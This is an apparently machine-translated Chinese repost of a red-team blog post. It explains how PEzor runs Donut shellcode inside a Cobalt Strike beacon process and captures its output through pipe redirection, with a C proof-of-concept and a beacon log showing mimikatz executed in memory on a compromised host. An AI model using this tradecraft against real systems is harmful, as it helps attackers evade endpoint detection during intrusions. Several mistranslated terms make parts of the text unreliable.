开卷有益 · 不求甚解
前言
自从 Beacon Object Files (BOFs)
发布以来,我想在 PEzor
中支持它们作为一种新的输出格式。主要的挑战是找到一种可靠的技术,以便反射性地执行任意、未修改的有效载荷并捕获它们的输出。经过短暂的研究,我能够开发一个工作模板来在信标进程中执行 shellcode
并捕获输出,以便将其发送到我们的 C2
实例,有效地为后期开发作业实施反射执行优先工作流。让我们潜入这段短暂的旅程吧!
起源
一开始,在 NT 系统上,操作员和参与者被用来接触文件系统以执行他们正在采取的任何后期开发操作,当时,防病毒产品主要基于要查找的磁盘工件的签名。由于斯蒂芬·弗尔( Stephen Less ) 对在内存中反射加载和执行 DLL 进行了以下研究,该研究以开源方式记录了该过程,主流场景从在磁盘上上传工件转变为在辅助进程中远程注入有效负载。
从历史上看,流行的命令和控制框架,如 Metasploit
和 Cobalt Strike
,很大程度上依赖于分叉运行范例作为在受感染主机上运行后开发模块的首选执行技术。这种技术的流程是:
-
配置STARTUPINFOA结构以将标准输出和错误重定向到命名管道 -
产生一个单独的辅助进程 -
将能力注入新流程 -
创建一个远程线程来执行负载 -
从命名管道中读取进程的输出
这种技术的 OPSEC
含义是,每次我们需要执行后期开发能力时,我们首先需要产生另一个进程来注入有效载荷。目前,这可能不适合高级红队操作,尤其是在对抗下一代 EDR/XDR
时。
想法
受到Invoke-ReflectivePEInjection cmdlet 的启发,我开始研究如何在 Cobalt Strike 中实现类似的技术。如源代码注释中所述,cmdlet 只能部分检索有效负载输出:特别是PowerShell
进程无法捕获输出,但是,如果在本地运行,它将被发送到控制台主机进程,这意味着我们将能够毫无问题地看到输出。但是,当反射执行远程发生时,情况就大不相同了:cmdlet 将无法检索可执行文件的输出,并且必须修改 DDL 以返回分配在堆上的字符串,以便调用者进行处理。(例如Powerkatz) 我想找到一个不需要手动更改有效负载以在远程运行时捕获其输出的通用解决方案:如果我们能够完全重定向文件描述符,在执行任意进程时烘焙进程的 stdout/stderr信标进程内的新线程中的 shellcode 以便可靠地捕获其输出?我对 Windows API 进行了试验,以确定这在技术上是否可行。我的想法是基于文件描述符可以重定向到任意句柄的事实,例如匿名管道。那么如果我们将stdout
和重定向stderr
到匿名管道会发生什么,我们分配了一个可执行的内存,我们复制了由Donut生成的位置独立代码,我们创建一个线程,然后我们从管道的另一边读取?通过使用以下代码片段,我能够确认最初的直觉并成功捕获“Hello World!” 细绳。
// TestRedirStdout.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#include <io.h>
#include <stdio.h>
#include <fcntl.h>
#include <windows.h>
#include <synchapi.h>
#define BUFFER_SIZE 1024
#define _WAIT_TIMEOUT 5000
BOOL create_pipe(HANDLE* pipeRead, HANDLE* pipeWrite) {
SECURITY_ATTRIBUTES sa = { sizeof(sa),NULL,TRUE };
return CreatePipe(pipeRead, pipeWrite, &sa, 0);
}
void redirect_io(FILE* hFrom, HANDLE hTo) {
int fd = _open_osfhandle((intptr_t)hTo, _O_TEXT);
_dup2(fd, _fileno(hFrom));
setvbuf(hFrom, NULL, _IONBF, 0); //Disable buffering.
}
void restore_io(int stdoutFd, int stderrFd) {
_dup2(stdoutFd, _fileno(stdout));
_dup2(stderrFd, _fileno(stderr));
}
DWORD WINAPI hello_world(LPVOID lpParam) {
puts("Hello World!n");
perror("Welpn");
for (int i = 0; i < 1024; i++) {
printf("%d - ", i);
}
return 0;
}
int main() {
HANDLE stdoutHandle = INVALID_HANDLE_VALUE;
HANDLE stderrHandle = INVALID_HANDLE_VALUE;
HANDLE pipeRead = INVALID_HANDLE_VALUE;
HANDLE pipeWrite = INVALID_HANDLE_VALUE;
int stdoutFd = -1;
int stderrFd = -1;
int readResult = -1;
DWORD waitResult = -1;
BOOL isThreadFinished = FALSE;
unsigned char recvBuffer[BUFFER_SIZE];
DWORD bytesRead = 0;
DWORD remainingData = 0;
stdoutHandle = GetStdHandle(STD_OUTPUT_HANDLE);
stderrHandle = GetStdHandle(STD_ERROR_HANDLE);
stdoutFd = _dup(_fileno(stdout));
stderrFd = _dup(_fileno(stderr));
puts("Before redirn");
create_pipe(&pipeRead, &pipeWrite);
redirect_io(stdout, pipeWrite);
redirect_io(stderr, pipeWrite); // comment this line to debug
DWORD dwThreadId = -1;
HANDLE hThread = CreateThread(
NULL, // default security attributes
0, // use default stack size
hello_world, // thread function name
NULL, // argument to thread function
0, // use default creation flags
&dwThreadId); // returns the thread identifier
do {
waitResult = WaitForSingleObject(hThread, _WAIT_TIMEOUT);
switch (waitResult) {
case WAIT_ABANDONED:
restore_io(stdoutFd, stderrFd);
perror("WAIT_ABANDONEDn");
return -1;
case WAIT_FAILED:
restore_io(stdoutFd, stderrFd);
perror("WAIT_FAILEDn");
return -1;
case _WAIT_TIMEOUT:
break;
case WAIT_OBJECT_0:
isThreadFinished = TRUE;
}
PeekNamedPipe(pipeRead, NULL, 0, NULL, &remainingData, NULL);
//fprintf(stderr, "[DEBUG] remainingData = %dn", remainingData);
if (remainingData) {
SetLastError(0);
memset(recvBuffer, 0, BUFFER_SIZE);
bytesRead = 0;
readResult = ReadFile(
pipeRead, // pipe handle
recvBuffer, // buffer to receive reply
BUFFER_SIZE - 1, // size of buffer
&bytesRead, // number of bytes read
NULL); // not overlapped
if (!readResult) {
restore_io(stdoutFd, stderrFd);
printf("ERROR ReadFile: %d, GLE=%dn", readResult, GetLastError());
return -1;
}
recvBuffer[BUFFER_SIZE - 1] = ' ';
//perror("[DEBUG] Received by pipe:n");
//perror(recvBuffer);
}
} while (!isThreadFinished || remainingData);
restore_io(stdoutFd, stderrFd);
perror("[DEBUG] Received last by pipe:n");
perror(recvBuffer);
return 0;
}
与 PEzor 集成
在对模板框架的概念进行了工作证明之后,剩下要做的就是将其转换为 Beacon Object Files Dynamic Function Resolution所需的特定语法,以使其与烘焙的全新内置内联加载器兼容进入灯塔。特别是,我们需要将各种文件连接成一个文件以生成单个目标文件(仅供参考,我尝试使用ld -r
合并多个目标文件但没有成功)并使用 DFR 语法声明导入的函数。此时,我们应该能够将Donut支持的任何内容转换为与内联加载器兼容的单个目标文件并捕获其输出,我们可以使用BeaconPrintf将其发送回我们的服务器功能。正如预期的那样,一切正常,但这种方法的主要缺点很少:
-
如果目标文件或有效负载被窃听,我们将使整个信标进程崩溃,可能会失去对受感染主机的控制 -
如果我们不恢复原始文件描述符,我们可能会破坏托管我们信标的应用程序,例如在 PowerShell 进程的情况下,在执行有效负载后,我们将无法在控制台中键入和检索输出不再由于重定向的句柄 -
如果托管进程没有关联的控制台窗口,我们将无法正确重定向其句柄 -
一旦我们开始执行多个有效载荷,越来越多的 DLL 将被加载到信标进程中,可能会将其标记为可疑
我们如何解决上述缺点?例如,我们可以遵循以下方法:
-
关于信标进程的稳定性,我们可以简单地应用流行的“如果你有一个外壳,你就有零个外壳”规则并使用两个不同的进程:一个作为空闲的备份连接,另一个作为执行我们的有效载荷的地方。这样,如果信标崩溃,我们可以从备份中生成另一个并继续使用它 -
要恢复托管进程的输入/输出功能,我们需要在有效负载执行完成后恢复原始句柄 -
如果没有分配控制台,我们需要创建一个并将其关联到我们的描述符 -
对于最后一个问题,我们需要对加载的 DLL 进行清理,但为了做到这一点,我们需要在有效负载执行之前和之后枚举加载的模块,并调用FreeLibrary来释放它们。(目前,清理例程尝试释放调用 FreeLibrary
一次的模块,如果有效负载多次调用LoadLibraryW,则这些模块将保持加载状态。此外,模板通过 DFR 语法加载的任何模块将保持加载状态,不会改变内联加载器。)
结果
让我们尝试执行更新后的execute-inmemory
命令:
beacon> execute-inmemory -format=bof -cleanup /root/git/PEzor/mimikatz/x64/mimikatz.exe -z 2 -p '"answer" "coffee" "exit"'
[*] Tasked beacon to execute in-memory /root/git/PEzor/mimikatz/x64/mimikatz.exe with args: "answer" "coffee" "exit"
[+] PEzor generated Beacon Object File /tmp/5e926f6b-696b-411e-a3a8-ef3ef8a87f49_root_git_PEzor_mimikatz_x64_mimikatz.exe.packed.x64.o
[*] Tasked beacon to inline-execute /tmp/5e926f6b-696b-411e-a3a8-ef3ef8a87f49_root_git_PEzor_mimikatz_x64_mimikatz.exe.packed.x64.o
[+] host called home, sent: 649508 bytes
[+] received output:
[PEzor] starting BOF...
[+] received output:
.#####. mimikatz 2.2.0 (x64) #19041 Jun 22 2021 22:01:20
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # answer
42.
mimikatz(commandline) # coffee
( (
) )
.______.
| |]
/
`----'
mimikatz(commandline) # exit
Bye!
[+] received output:
[PEzor] cleanup complete
[+] received output:
[PEzor] payload freed
与往常一样,您可以在PEzor存储库中找到源代码。
译文申明
-
文章来源为 近期阅读文章
,质量尚可的,大部分较新,但也可能有老文章。 -
开卷有益,不求甚解
,不需面面俱到,能学到一个小技巧就赚了。 -
译文仅供参考
,具体内容表达以及含义,以原文为准
(译文来自自动翻译) -
如英文不错的, 尽量阅读原文
。(点击原文跳转) -
每日早读
基本自动化发布,这是一项测试
Follow Me
微信/微博:
red4blue
公众号/知乎:
blueteams
本文始发于微信公众号(甲方安全建设):进程创建已死,进程创建万岁 — 为 PEzor 添加 BOF 支持
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论